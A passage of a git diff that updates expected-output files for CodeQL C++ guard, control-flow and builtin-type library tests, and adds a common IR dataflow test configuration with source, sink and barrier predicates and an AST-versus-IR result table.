file://:0:0:0:0 | optional | | file://:0:0:0:0 | overflow_arg_area | | file://:0:0:0:0 | override | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | private | | file://:0:0:0:0 | protected | | file://:0:0:0:0 | public | diff --git a/cpp/ql/test/library-tests/conditions/vars.expected b/cpp/ql/test/library-tests/conditions/vars.expected index f90baf9ebc1..e2395ad5141 100644 --- a/cpp/ql/test/library-tests/conditions/vars.expected +++ b/cpp/ql/test/library-tests/conditions/vars.expected @@ -2,5 +2,7 @@ | file://:0:0:0:0 | fp_offset | | file://:0:0:0:0 | gp_offset | | file://:0:0:0:0 | overflow_arg_area | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | reg_save_area | | test.cpp:3:12:3:12 | | diff --git a/cpp/ql/test/library-tests/controlflow/guards-ir/tests.expected b/cpp/ql/test/library-tests/controlflow/guards-ir/tests.expected index ef9603d1f0c..110fb218b5f 100644 --- a/cpp/ql/test/library-tests/controlflow/guards-ir/tests.expected +++ b/cpp/ql/test/library-tests/controlflow/guards-ir/tests.expected @@ -25,7 +25,6 @@ astGuards | test.c:126:12:126:26 | call to test3_condition | | test.c:131:7:131:7 | b | | test.c:137:7:137:7 | 0 | -| test.c:138:9:138:9 | i | | test.c:146:7:146:8 | ! ... | | test.c:146:8:146:8 | x | | test.c:152:10:152:10 | x | @@ -138,7 +137,6 @@ astGuardsControl | test.c:26:11:26:15 | ... > ... | false | 42 | 44 | | test.c:26:11:26:15 | ... > ... | false | 45 | 45 | | test.c:26:11:26:15 | ... > ... | false | 45 | 47 | -| test.c:26:11:26:15 | ... > ... | false | 48 | 55 | | test.c:26:11:26:15 | ... > ... | false | 51 | 53 | | test.c:26:11:26:15 | ... > ... | false | 56 | 58 | | test.c:26:11:26:15 | ... > ... | false | 58 | 58 | @@ -151,7 +149,6 @@ astGuardsControl | test.c:34:16:34:21 | ... < ... | false | 42 | 44 | | test.c:34:16:34:21 | ... < ... | false | 45 | 45 | | test.c:34:16:34:21 | ... < ... | false | 45 | 47 | -| test.c:34:16:34:21 | ... < ... | false | 48 | 55 | | test.c:34:16:34:21 | ... < ... | false | 51 | 53 | | test.c:34:16:34:21 | ... < ... | false | 56 | 58 | | test.c:34:16:34:21 | ... < ... | false | 58 | 58 | @@ -162,13 +159,11 @@ astGuardsControl | test.c:42:16:42:21 | ... < ... | true | 42 | 44 | | test.c:42:16:42:21 | ... < ... | true | 45 | 45 | | test.c:42:16:42:21 | ... < ... | true | 45 | 47 | -| test.c:42:16:42:21 | ... < ... | true | 48 | 55 | | test.c:42:16:42:21 | ... < ... | true | 51 | 53 | +| test.c:44:12:44:16 | ... > ... | false | 42 | 42 | | test.c:44:12:44:16 | ... > ... | false | 51 | 53 | | test.c:44:12:44:16 | ... > ... | true | 45 | 45 | | test.c:44:12:44:16 | ... > ... | true | 45 | 47 | -| test.c:44:12:44:16 | ... > ... | true | 48 | 55 | -| test.c:45:16:45:20 | ... > ... | false | 48 | 55 | | test.c:45:16:45:20 | ... > ... | true | 45 | 47 | | test.c:58:9:58:14 | ... == ... | false | 58 | 58 | | test.c:58:9:58:14 | ... == ... | false | 62 | 62 | @@ -200,12 +195,13 @@ astGuardsControl | test.c:109:19:109:23 | ... < ... | false | 113 | 113 | | test.c:126:7:126:7 | 1 | true | 126 | 126 | | test.c:126:7:126:7 | 1 | true | 126 | 128 | +| test.c:126:7:126:7 | 1 | true | 131 | 131 | +| test.c:126:7:126:7 | 1 | true | 131 | 132 | +| test.c:126:7:126:7 | 1 | true | 134 | 123 | | test.c:126:7:126:28 | ... && ... | true | 126 | 128 | | test.c:126:12:126:26 | call to test3_condition | true | 126 | 128 | | test.c:131:7:131:7 | b | true | 131 | 132 | -| test.c:137:7:137:7 | 0 | true | 137 | 138 | -| test.c:137:7:137:7 | 0 | true | 138 | 139 | -| test.c:138:9:138:9 | i | true | 138 | 139 | +| test.c:137:7:137:7 | 0 | false | 142 | 136 | | test.c:146:7:146:8 | ! ... | true | 146 | 147 | | test.c:146:8:146:8 | x | false | 146 | 147 | | test.c:152:10:152:10 | x | true | 151 | 152 | @@ -242,7 +238,6 @@ astGuardsEnsure | test.c:26:11:26:15 | ... > ... | test.c:26:11:26:11 | x | < | test.c:26:15:26:15 | 0 | 1 | 42 | 44 | | test.c:26:11:26:15 | ... > ... | test.c:26:11:26:11 | x | < | test.c:26:15:26:15 | 0 | 1 | 45 | 45 | | test.c:26:11:26:15 | ... > ... | test.c:26:11:26:11 | x | < | test.c:26:15:26:15 | 0 | 1 | 45 | 47 | -| test.c:26:11:26:15 | ... > ... | test.c:26:11:26:11 | x | < | test.c:26:15:26:15 | 0 | 1 | 48 | 55 | | test.c:26:11:26:15 | ... > ... | test.c:26:11:26:11 | x | < | test.c:26:15:26:15 | 0 | 1 | 51 | 53 | | test.c:26:11:26:15 | ... > ... | test.c:26:11:26:11 | x | < | test.c:26:15:26:15 | 0 | 1 | 56 | 58 | | test.c:26:11:26:15 | ... > ... | test.c:26:11:26:11 | x | < | test.c:26:15:26:15 | 0 | 1 | 58 | 58 | @@ -258,7 +253,6 @@ astGuardsEnsure | test.c:26:11:26:15 | ... > ... | test.c:26:15:26:15 | 0 | >= | test.c:26:11:26:11 | x | 0 | 42 | 44 | | test.c:26:11:26:15 | ... > ... | test.c:26:15:26:15 | 0 | >= | test.c:26:11:26:11 | x | 0 | 45 | 45 | | test.c:26:11:26:15 | ... > ... | test.c:26:15:26:15 | 0 | >= | test.c:26:11:26:11 | x | 0 | 45 | 47 | -| test.c:26:11:26:15 | ... > ... | test.c:26:15:26:15 | 0 | >= | test.c:26:11:26:11 | x | 0 | 48 | 55 | | test.c:26:11:26:15 | ... > ... | test.c:26:15:26:15 | 0 | >= | test.c:26:11:26:11 | x | 0 | 51 | 53 | | test.c:26:11:26:15 | ... > ... | test.c:26:15:26:15 | 0 | >= | test.c:26:11:26:11 | x | 0 | 56 | 58 | | test.c:26:11:26:15 | ... > ... | test.c:26:15:26:15 | 0 | >= | test.c:26:11:26:11 | x | 0 | 58 | 58 | @@ -271,7 +265,6 @@ astGuardsEnsure | test.c:34:16:34:21 | ... < ... | test.c:34:16:34:16 | j | >= | test.c:34:20:34:21 | 10 | 0 | 42 | 44 | | test.c:34:16:34:21 | ... < ... | test.c:34:16:34:16 | j | >= | test.c:34:20:34:21 | 10 | 0 | 45 | 45 | | test.c:34:16:34:21 | ... < ... | test.c:34:16:34:16 | j | >= | test.c:34:20:34:21 | 10 | 0 | 45 | 47 | -| test.c:34:16:34:21 | ... < ... | test.c:34:16:34:16 | j | >= | test.c:34:20:34:21 | 10 | 0 | 48 | 55 | | test.c:34:16:34:21 | ... < ... | test.c:34:16:34:16 | j | >= | test.c:34:20:34:21 | 10 | 0 | 51 | 53 | | test.c:34:16:34:21 | ... < ... | test.c:34:16:34:16 | j | >= | test.c:34:20:34:21 | 10 | 0 | 56 | 58 | | test.c:34:16:34:21 | ... < ... | test.c:34:16:34:16 | j | >= | test.c:34:20:34:21 | 10 | 0 | 58 | 58 | @@ -283,7 +276,6 @@ astGuardsEnsure | test.c:34:16:34:21 | ... < ... | test.c:34:20:34:21 | 10 | < | test.c:34:16:34:16 | j | 1 | 42 | 44 | | test.c:34:16:34:21 | ... < ... | test.c:34:20:34:21 | 10 | < | test.c:34:16:34:16 | j | 1 | 45 | 45 | | test.c:34:16:34:21 | ... < ... | test.c:34:20:34:21 | 10 | < | test.c:34:16:34:16 | j | 1 | 45 | 47 | -| test.c:34:16:34:21 | ... < ... | test.c:34:20:34:21 | 10 | < | test.c:34:16:34:16 | j | 1 | 48 | 55 | | test.c:34:16:34:21 | ... < ... | test.c:34:20:34:21 | 10 | < | test.c:34:16:34:16 | j | 1 | 51 | 53 | | test.c:34:16:34:21 | ... < ... | test.c:34:20:34:21 | 10 | < | test.c:34:16:34:16 | j | 1 | 56 | 58 | | test.c:34:16:34:21 | ... < ... | test.c:34:20:34:21 | 10 | < | test.c:34:16:34:16 | j | 1 | 58 | 58 | @@ -294,26 +286,22 @@ astGuardsEnsure | test.c:42:16:42:21 | ... < ... | test.c:42:16:42:16 | j | < | test.c:42:20:42:21 | 10 | 0 | 42 | 44 | | test.c:42:16:42:21 | ... < ... | test.c:42:16:42:16 | j | < | test.c:42:20:42:21 | 10 | 0 | 45 | 45 | | test.c:42:16:42:21 | ... < ... | test.c:42:16:42:16 | j | < | test.c:42:20:42:21 | 10 | 0 | 45 | 47 | -| test.c:42:16:42:21 | ... < ... | test.c:42:16:42:16 | j | < | test.c:42:20:42:21 | 10 | 0 | 48 | 55 | | test.c:42:16:42:21 | ... < ... | test.c:42:16:42:16 | j | < | test.c:42:20:42:21 | 10 | 0 | 51 | 53 | | test.c:42:16:42:21 | ... < ... | test.c:42:20:42:21 | 10 | >= | test.c:42:16:42:16 | j | 1 | 42 | 42 | | test.c:42:16:42:21 | ... < ... | test.c:42:20:42:21 | 10 | >= | test.c:42:16:42:16 | j | 1 | 42 | 44 | | test.c:42:16:42:21 | ... < ... | test.c:42:20:42:21 | 10 | >= | test.c:42:16:42:16 | j | 1 | 45 | 45 | | test.c:42:16:42:21 | ... < ... | test.c:42:20:42:21 | 10 | >= | test.c:42:16:42:16 | j | 1 | 45 | 47 | -| test.c:42:16:42:21 | ... < ... | test.c:42:20:42:21 | 10 | >= | test.c:42:16:42:16 | j | 1 | 48 | 55 | | test.c:42:16:42:21 | ... < ... | test.c:42:20:42:21 | 10 | >= | test.c:42:16:42:16 | j | 1 | 51 | 53 | +| test.c:44:12:44:16 | ... > ... | test.c:44:12:44:12 | z | < | test.c:44:16:44:16 | 0 | 1 | 42 | 42 | | test.c:44:12:44:16 | ... > ... | test.c:44:12:44:12 | z | < | test.c:44:16:44:16 | 0 | 1 | 51 | 53 | | test.c:44:12:44:16 | ... > ... | test.c:44:12:44:12 | z | >= | test.c:44:16:44:16 | 0 | 1 | 45 | 45 | | test.c:44:12:44:16 | ... > ... | test.c:44:12:44:12 | z | >= | test.c:44:16:44:16 | 0 | 1 | 45 | 47 | -| test.c:44:12:44:16 | ... > ... | test.c:44:12:44:12 | z | >= | test.c:44:16:44:16 | 0 | 1 | 48 | 55 | | test.c:44:12:44:16 | ... > ... | test.c:44:16:44:16 | 0 | < | test.c:44:12:44:12 | z | 0 | 45 | 45 | | test.c:44:12:44:16 | ... > ... | test.c:44:16:44:16 | 0 | < | test.c:44:12:44:12 | z | 0 | 45 | 47 | -| test.c:44:12:44:16 | ... > ... | test.c:44:16:44:16 | 0 | < | test.c:44:12:44:12 | z | 0 | 48 | 55 | +| test.c:44:12:44:16 | ... > ... | test.c:44:16:44:16 | 0 | >= | test.c:44:12:44:12 | z | 0 | 42 | 42 | | test.c:44:12:44:16 | ... > ... | test.c:44:16:44:16 | 0 | >= | test.c:44:12:44:12 | z | 0 | 51 | 53 | -| test.c:45:16:45:20 | ... > ... | test.c:45:16:45:16 | y | < | test.c:45:20:45:20 | 0 | 1 | 48 | 55 | | test.c:45:16:45:20 | ... > ... | test.c:45:16:45:16 | y | >= | test.c:45:20:45:20 | 0 | 1 | 45 | 47 | | test.c:45:16:45:20 | ... > ... | test.c:45:20:45:20 | 0 | < | test.c:45:16:45:16 | y | 0 | 45 | 47 | -| test.c:45:16:45:20 | ... > ... | test.c:45:20:45:20 | 0 | >= | test.c:45:16:45:16 | y | 0 | 48 | 55 | | test.c:58:9:58:14 | ... == ... | test.c:58:9:58:9 | x | != | test.c:58:14:58:14 | 0 | 0 | 58 | 58 | | test.c:58:9:58:14 | ... == ... | test.c:58:9:58:9 | x | != | test.c:58:14:58:14 | 0 | 0 | 62 | 62 | | test.c:58:9:58:14 | ... == ... | test.c:58:14:58:14 | 0 | != | test.c:58:9:58:9 | x | 0 | 58 | 58 | @@ -406,7 +394,6 @@ irGuards | test.c:126:12:126:26 | Call: call to test3_condition | | test.c:131:7:131:7 | Load: b | | test.c:137:7:137:7 | Constant: 0 | -| test.c:138:9:138:9 | Load: i | | test.c:146:8:146:8 | Load: x | | test.c:152:10:152:10 | Load: x | | test.c:152:15:152:15 | Load: y | @@ -501,7 +488,6 @@ irGuardsControl | test.c:26:11:26:15 | CompareGT: ... > ... | false | 43 | 43 | | test.c:26:11:26:15 | CompareGT: ... > ... | false | 45 | 45 | | test.c:26:11:26:15 | CompareGT: ... > ... | false | 46 | 46 | -| test.c:26:11:26:15 | CompareGT: ... > ... | false | 49 | 49 | | test.c:26:11:26:15 | CompareGT: ... > ... | false | 52 | 52 | | test.c:26:11:26:15 | CompareGT: ... > ... | false | 56 | 56 | | test.c:26:11:26:15 | CompareGT: ... > ... | false | 58 | 58 | @@ -514,24 +500,19 @@ irGuardsControl | test.c:34:16:34:21 | CompareLT: ... < ... | false | 43 | 43 | | test.c:34:16:34:21 | CompareLT: ... < ... | false | 45 | 45 | | test.c:34:16:34:21 | CompareLT: ... < ... | false | 46 | 46 | -| test.c:34:16:34:21 | CompareLT: ... < ... | false | 49 | 49 | | test.c:34:16:34:21 | CompareLT: ... < ... | false | 52 | 52 | | test.c:34:16:34:21 | CompareLT: ... < ... | false | 56 | 56 | | test.c:34:16:34:21 | CompareLT: ... < ... | false | 58 | 58 | | test.c:34:16:34:21 | CompareLT: ... < ... | false | 59 | 59 | | test.c:34:16:34:21 | CompareLT: ... < ... | false | 62 | 62 | | test.c:34:16:34:21 | CompareLT: ... < ... | true | 35 | 35 | -| test.c:42:16:42:21 | CompareLT: ... < ... | true | 42 | 42 | | test.c:42:16:42:21 | CompareLT: ... < ... | true | 43 | 43 | | test.c:42:16:42:21 | CompareLT: ... < ... | true | 45 | 45 | | test.c:42:16:42:21 | CompareLT: ... < ... | true | 46 | 46 | -| test.c:42:16:42:21 | CompareLT: ... < ... | true | 49 | 49 | | test.c:42:16:42:21 | CompareLT: ... < ... | true | 52 | 52 | | test.c:44:12:44:16 | CompareGT: ... > ... | false | 52 | 52 | | test.c:44:12:44:16 | CompareGT: ... > ... | true | 45 | 45 | | test.c:44:12:44:16 | CompareGT: ... > ... | true | 46 | 46 | -| test.c:44:12:44:16 | CompareGT: ... > ... | true | 49 | 49 | -| test.c:45:16:45:20 | CompareGT: ... > ... | false | 49 | 49 | | test.c:45:16:45:20 | CompareGT: ... > ... | true | 46 | 46 | | test.c:58:9:58:14 | CompareEQ: ... == ... | false | 58 | 58 | | test.c:58:9:58:14 | CompareEQ: ... == ... | false | 62 | 62 | @@ -561,11 +542,12 @@ irGuardsControl | test.c:109:19:109:23 | CompareLT: ... < ... | false | 113 | 113 | | test.c:126:7:126:7 | Constant: 1 | true | 126 | 126 | | test.c:126:7:126:7 | Constant: 1 | true | 127 | 127 | +| test.c:126:7:126:7 | Constant: 1 | true | 131 | 131 | +| test.c:126:7:126:7 | Constant: 1 | true | 132 | 132 | +| test.c:126:7:126:7 | Constant: 1 | true | 134 | 134 | | test.c:126:12:126:26 | Call: call to test3_condition | true | 127 | 127 | | test.c:131:7:131:7 | Load: b | true | 132 | 132 | -| test.c:137:7:137:7 | Constant: 0 | true | 138 | 138 | -| test.c:137:7:137:7 | Constant: 0 | true | 139 | 139 | -| test.c:138:9:138:9 | Load: i | true | 139 | 139 | +| test.c:137:7:137:7 | Constant: 0 | false | 142 | 142 | | test.c:146:8:146:8 | Load: x | false | 147 | 147 | | test.c:152:10:152:10 | Load: x | true | 152 | 152 | | test.c:152:15:152:15 | Load: y | true | 152 | 152 | @@ -595,7 +577,6 @@ irGuardsEnsure | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:11:26:11 | Load: x | < | test.c:26:15:26:15 | Constant: 0 | 1 | 43 | 43 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:11:26:11 | Load: x | < | test.c:26:15:26:15 | Constant: 0 | 1 | 45 | 45 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:11:26:11 | Load: x | < | test.c:26:15:26:15 | Constant: 0 | 1 | 46 | 46 | -| test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:11:26:11 | Load: x | < | test.c:26:15:26:15 | Constant: 0 | 1 | 49 | 49 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:11:26:11 | Load: x | < | test.c:26:15:26:15 | Constant: 0 | 1 | 52 | 52 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:11:26:11 | Load: x | < | test.c:26:15:26:15 | Constant: 0 | 1 | 56 | 56 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:11:26:11 | Load: x | < | test.c:26:15:26:15 | Constant: 0 | 1 | 58 | 58 | @@ -612,7 +593,6 @@ irGuardsEnsure | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:15:26:15 | Constant: 0 | >= | test.c:26:11:26:11 | Load: x | 0 | 43 | 43 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:15:26:15 | Constant: 0 | >= | test.c:26:11:26:11 | Load: x | 0 | 45 | 45 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:15:26:15 | Constant: 0 | >= | test.c:26:11:26:11 | Load: x | 0 | 46 | 46 | -| test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:15:26:15 | Constant: 0 | >= | test.c:26:11:26:11 | Load: x | 0 | 49 | 49 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:15:26:15 | Constant: 0 | >= | test.c:26:11:26:11 | Load: x | 0 | 52 | 52 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:15:26:15 | Constant: 0 | >= | test.c:26:11:26:11 | Load: x | 0 | 56 | 56 | | test.c:26:11:26:15 | CompareGT: ... > ... | test.c:26:15:26:15 | Constant: 0 | >= | test.c:26:11:26:11 | Load: x | 0 | 58 | 58 | @@ -625,7 +605,6 @@ irGuardsEnsure | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:16:34:16 | Load: j | >= | test.c:34:20:34:21 | Constant: 10 | 0 | 43 | 43 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:16:34:16 | Load: j | >= | test.c:34:20:34:21 | Constant: 10 | 0 | 45 | 45 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:16:34:16 | Load: j | >= | test.c:34:20:34:21 | Constant: 10 | 0 | 46 | 46 | -| test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:16:34:16 | Load: j | >= | test.c:34:20:34:21 | Constant: 10 | 0 | 49 | 49 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:16:34:16 | Load: j | >= | test.c:34:20:34:21 | Constant: 10 | 0 | 52 | 52 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:16:34:16 | Load: j | >= | test.c:34:20:34:21 | Constant: 10 | 0 | 56 | 56 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:16:34:16 | Load: j | >= | test.c:34:20:34:21 | Constant: 10 | 0 | 58 | 58 | @@ -637,37 +616,28 @@ irGuardsEnsure | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 43 | 43 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 45 | 45 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 46 | 46 | -| test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 49 | 49 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 52 | 52 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 56 | 56 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 58 | 58 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 59 | 59 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | < | test.c:34:16:34:16 | Load: j | 1 | 62 | 62 | | test.c:34:16:34:21 | CompareLT: ... < ... | test.c:34:20:34:21 | Constant: 10 | >= | test.c:34:16:34:16 | Load: j | 1 | 35 | 35 | -| test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:16:42:16 | Load: j | < | test.c:42:20:42:21 | Constant: 10 | 0 | 42 | 42 | | test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:16:42:16 | Load: j | < | test.c:42:20:42:21 | Constant: 10 | 0 | 43 | 43 | | test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:16:42:16 | Load: j | < | test.c:42:20:42:21 | Constant: 10 | 0 | 45 | 45 | | test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:16:42:16 | Load: j | < | test.c:42:20:42:21 | Constant: 10 | 0 | 46 | 46 | -| test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:16:42:16 | Load: j | < | test.c:42:20:42:21 | Constant: 10 | 0 | 49 | 49 | | test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:16:42:16 | Load: j | < | test.c:42:20:42:21 | Constant: 10 | 0 | 52 | 52 | -| test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:20:42:21 | Constant: 10 | >= | test.c:42:16:42:16 | Load: j | 1 | 42 | 42 | | test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:20:42:21 | Constant: 10 | >= | test.c:42:16:42:16 | Load: j | 1 | 43 | 43 | | test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:20:42:21 | Constant: 10 | >= | test.c:42:16:42:16 | Load: j | 1 | 45 | 45 | | test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:20:42:21 | Constant: 10 | >= | test.c:42:16:42:16 | Load: j | 1 | 46 | 46 | -| test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:20:42:21 | Constant: 10 | >= | test.c:42:16:42:16 | Load: j | 1 | 49 | 49 | | test.c:42:16:42:21 | CompareLT: ... < ... | test.c:42:20:42:21 | Constant: 10 | >= | test.c:42:16:42:16 | Load: j | 1 | 52 | 52 | | test.c:44:12:44:16 | CompareGT: ... > ... | test.c:44:12:44:12 | Load: z | < | test.c:44:16:44:16 | Constant: 0 | 1 | 52 | 52 | | test.c:44:12:44:16 | CompareGT: ... > ... | test.c:44:12:44:12 | Load: z | >= | test.c:44:16:44:16 | Constant: 0 | 1 | 45 | 45 | | test.c:44:12:44:16 | CompareGT: ... > ... | test.c:44:12:44:12 | Load: z | >= | test.c:44:16:44:16 | Constant: 0 | 1 | 46 | 46 | -| test.c:44:12:44:16 | CompareGT: ... > ... | test.c:44:12:44:12 | Load: z | >= | test.c:44:16:44:16 | Constant: 0 | 1 | 49 | 49 | | test.c:44:12:44:16 | CompareGT: ... > ... | test.c:44:16:44:16 | Constant: 0 | < | test.c:44:12:44:12 | Load: z | 0 | 45 | 45 | | test.c:44:12:44:16 | CompareGT: ... > ... | test.c:44:16:44:16 | Constant: 0 | < | test.c:44:12:44:12 | Load: z | 0 | 46 | 46 | -| test.c:44:12:44:16 | CompareGT: ... > ... | test.c:44:16:44:16 | Constant: 0 | < | test.c:44:12:44:12 | Load: z | 0 | 49 | 49 | | test.c:44:12:44:16 | CompareGT: ... > ... | test.c:44:16:44:16 | Constant: 0 | >= | test.c:44:12:44:12 | Load: z | 0 | 52 | 52 | -| test.c:45:16:45:20 | CompareGT: ... > ... | test.c:45:16:45:16 | Load: y | < | test.c:45:20:45:20 | Constant: (long)... | 1 | 49 | 49 | | test.c:45:16:45:20 | CompareGT: ... > ... | test.c:45:16:45:16 | Load: y | >= | test.c:45:20:45:20 | Constant: (long)... | 1 | 46 | 46 | | test.c:45:16:45:20 | CompareGT: ... > ... | test.c:45:20:45:20 | Constant: (long)... | < | test.c:45:16:45:16 | Load: y | 0 | 46 | 46 | -| test.c:45:16:45:20 | CompareGT: ... > ... | test.c:45:20:45:20 | Constant: (long)... | >= | test.c:45:16:45:16 | Load: y | 0 | 49 | 49 | | test.c:58:9:58:14 | CompareEQ: ... == ... | test.c:58:9:58:9 | Load: x | != | test.c:58:14:58:14 | Constant: 0 | 0 | 58 | 58 | | test.c:58:9:58:14 | CompareEQ: ... == ... | test.c:58:9:58:9 | Load: x | != | test.c:58:14:58:14 | Constant: 0 | 0 | 62 | 62 | | test.c:58:9:58:14 | CompareEQ: ... == ... | test.c:58:14:58:14 | Constant: 0 | != | test.c:58:9:58:9 | Load: x | 0 | 58 | 58 | diff --git a/cpp/ql/test/library-tests/controlflow/primitives/cfg.expected b/cpp/ql/test/library-tests/controlflow/primitives/cfg.expected index 95b77212e61..33461214a5f 100644 --- a/cpp/ql/test/library-tests/controlflow/primitives/cfg.expected +++ b/cpp/ql/test/library-tests/controlflow/primitives/cfg.expected @@ -140,7 +140,6 @@ | test | f_do_while | 34 | 8 | test.c:34:1:34:1 | return ... | f_do_while | | test | f_if_quest2 | 14 | 1 | test.c:14:32:18:1 | { ... } | if (...) ... | | test | f_if_quest2 | 14 | 12 | test.c:14:6:14:16 | f_if_quest2 | | -| test | f_if_quest2 | 15 | 1 | test.c:15:9:15:9 | x | | | test | f_if_quest2 | 15 | 2 | test.c:15:5:17:5 | if (...) ... | ... ? ... : ... | | test | f_if_quest2 | 15 | 3 | test.c:15:9:15:14 | ... ? ... : ... | x | | test | f_if_quest2 | 15 | 4 | test.c:15:9:15:9 | x | y | diff --git a/cpp/ql/test/library-tests/cpp_builtin_types/bool/Variables.expected b/cpp/ql/test/library-tests/cpp_builtin_types/bool/Variables.expected index 130e5f396ac..cee1ff31e8e 100644 --- a/cpp/ql/test/library-tests/cpp_builtin_types/bool/Variables.expected +++ b/cpp/ql/test/library-tests/cpp_builtin_types/bool/Variables.expected @@ -3,4 +3,6 @@ | file://:0:0:0:0 | fp_offset | file://:0:0:0:0 | unsigned int | | file://:0:0:0:0 | gp_offset | file://:0:0:0:0 | unsigned int | | file://:0:0:0:0 | overflow_arg_area | file://:0:0:0:0 | void * | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | __va_list_tag & | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | __va_list_tag && | | file://:0:0:0:0 | reg_save_area | file://:0:0:0:0 | void * | diff --git a/cpp/ql/test/library-tests/cpp_builtin_types/wchar_t/Variables.expected b/cpp/ql/test/library-tests/cpp_builtin_types/wchar_t/Variables.expected index 8afb9b307a6..ae1905962b6 100644 --- a/cpp/ql/test/library-tests/cpp_builtin_types/wchar_t/Variables.expected +++ b/cpp/ql/test/library-tests/cpp_builtin_types/wchar_t/Variables.expected @@ -2,4 +2,6 @@ | file://:0:0:0:0 | fp_offset | | file://:0:0:0:0 | gp_offset | | file://:0:0:0:0 | overflow_arg_area | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | reg_save_area | diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/IRDataflowTestCommon.qll b/cpp/ql/test/library-tests/dataflow/dataflow-tests/IRDataflowTestCommon.qll new file mode 100644 index 00000000000..ec972d40039 --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/IRDataflowTestCommon.qll @@ -0,0 +1,29 @@ +import cpp +import semmle.code.cpp.ir.dataflow.DataFlow + +/** Common data flow configuration to be used by tests. */ +class TestAllocationConfig extends DataFlow::Configuration { + TestAllocationConfig() { + this = "TestAllocationConfig" + } + + override predicate isSource(DataFlow::Node source) { + source.asExpr().(FunctionCall).getTarget().getName() = "source" + or + source.asParameter().getName().matches("source%") + or + // Track uninitialized variables + exists(source.asUninitialized()) + } + + override predicate isSink(DataFlow::Node sink) { + exists(FunctionCall call | + call.getTarget().getName() = "sink" and + sink.asExpr() = call.getAnArgument().getFullyConverted() + ) + } + + override predicate isBarrier(DataFlow::Node barrier) { + barrier.asExpr().(VariableAccess).getTarget().hasName("barrier") + } +} diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_diff.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_diff.expected new file mode 100644 index 00000000000..c220d3f724b --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_diff.expected @@ -0,0 +1,13 @@ +| test.cpp:66:30:66:36 | test.cpp:71:8:71:9 | AST only | +| test.cpp:89:28:89:34 | test.cpp:90:8:90:14 | AST only | +| test.cpp:100:13:100:18 | test.cpp:103:10:103:12 | AST only | +| test.cpp:120:9:120:20 | test.cpp:126:8:126:19 | AST only | +| test.cpp:122:18:122:30 | test.cpp:132:22:132:23 | IR only | +| test.cpp:122:18:122:30 | test.cpp:140:22:140:23 | IR only | +| test.cpp:136:27:136:32 | test.cpp:137:27:137:28 | AST only | +| test.cpp:136:27:136:32 | test.cpp:140:22:140:23 | AST only | +| test.cpp:395:17:395:22 | test.cpp:397:10:397:18 | AST only | +| test.cpp:421:13:421:18 | test.cpp:423:10:423:14 | AST only | +| true_upon_entry.cpp:9:11:9:16 | true_upon_entry.cpp:13:8:13:8 | IR only | +| true_upon_entry.cpp:62:11:62:16 | true_upon_entry.cpp:66:8:66:8 | IR only | +| true_upon_entry.cpp:98:11:98:16 | true_upon_entry.cpp:105:8:105:8 | IR only | diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_diff.ql b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test_diff.ql new 